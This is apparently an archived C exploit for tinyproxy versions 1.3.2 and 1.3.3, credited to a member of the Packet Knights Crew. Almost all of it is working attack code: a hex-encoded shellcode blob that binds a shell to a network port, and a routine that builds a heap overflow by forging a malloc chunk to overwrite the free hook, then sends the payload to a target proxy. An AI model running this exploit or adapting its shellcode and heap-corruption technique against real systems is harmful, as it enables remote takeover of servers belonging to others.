home *** CD-ROM | disk | FTP | other *** search
- /*
- * Exploit for tinyproxy 1.3.2 and 1.3.3
- * by |CyRaX| <cyrax@pkcrew.org>
- * Packet Knights Crew - www.pkcrew.org
- * READ THE ADVISORY FIRST !
- * Greetz :
- * bikappa: for some help
- * all the pkc members expecially recidjvo, asynchro and cthulhu
- * all the other friends
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <netinet/in.h>
-
- char jmps[]="\xeb\x0e";
-
- char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x90\x90\x90\x90\x90\x90\x90"
- "\x89\xe5"
- "\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
- "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
- "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
- "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
- "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
- "\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"
- "\x80\x46\x04\x01"
- "\x80\x06\x01"
- "\x89\x75"
- "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
- "\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";
-
- void usage();
-
- void usage(){
- printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax@pkcrew.org>\n");
- printf("Packet Knights Crew - http://www.pkcrew.org\n");
- printf("please.. READ the advisory first!\n");
- printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");
- printf("buf_size is the size of the buf we send\n");
- printf("struct offset is the distance from the beginning of the buffer we send where we\n");
- printf(" we put the malloc chunk struct!\n");
- printf("free_hook is the address of the free_hook function pointer\n");
- printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");
- printf(" you can just hope to it a jump\n");
- printf("\nfree_hook and shellcode must be given in 0xaddress format\n");
- exit(0);
- }
-
- int main(int argc, char **argv){
- int s,i,err,pid[5];
- struct sockaddr_in dst;
- struct malloc_chunk{
- unsigned int ps;
- unsigned int sz;
- struct malloc_chunk *fd;
- struct malloc_chunk *bk;
- }mc;
- char *magic,*sndbuff;
- unsigned long FREE_HOOKZ,SHELLCODE;
- if(argc<5)usage();
- magic=(char *)malloc(atoi(argv[3])+1);
- sndbuff=(char *)malloc(atoi(argv[3])+30);
- memset(magic,'\x90',atoi(argv[3]));
-
- SHELLCODE=strtol(argv[6],NULL,16);
- FREE_HOOKZ=strtol(argv[5],NULL,16);
-
-
- dst.sin_addr.s_addr=inet_addr(argv[1]);
- dst.sin_port=htons(atoi(argv[2]));
- dst.sin_family=AF_INET;
- mc.ps=0xffffffff & ~1;
- mc.sz=0xffffffff;
- mc.fd=(struct malloc_chunk *)(SHELLCODE);
- mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);
-
- s=socket(AF_INET,SOCK_STREAM,0);
- connect(s,(struct sockaddr *)&dst,sizeof(dst));
- memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));
-
- if((atoi(argv[3])/2)<atoi(argv[4])){
- /* putting jmps and shellcode before the struct */
- for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){
- memcpy(magic+i,jmps,2);
- }
- }
- else {
- /* putting jmps and shellcode after the struct */
- for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){
- memcpy(magic+i,jmps,2);
- }
- }
- memcpy(magic+i,c0de,strlen(c0de));
-
- magic[atoi(argv[3])]=0;
-
- printf("strlen magic is %i\n",strlen(magic));
- sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;
- printf("shooting\n");
- err=send(s,sndbuff,strlen(sndbuff),0);
- }
-
-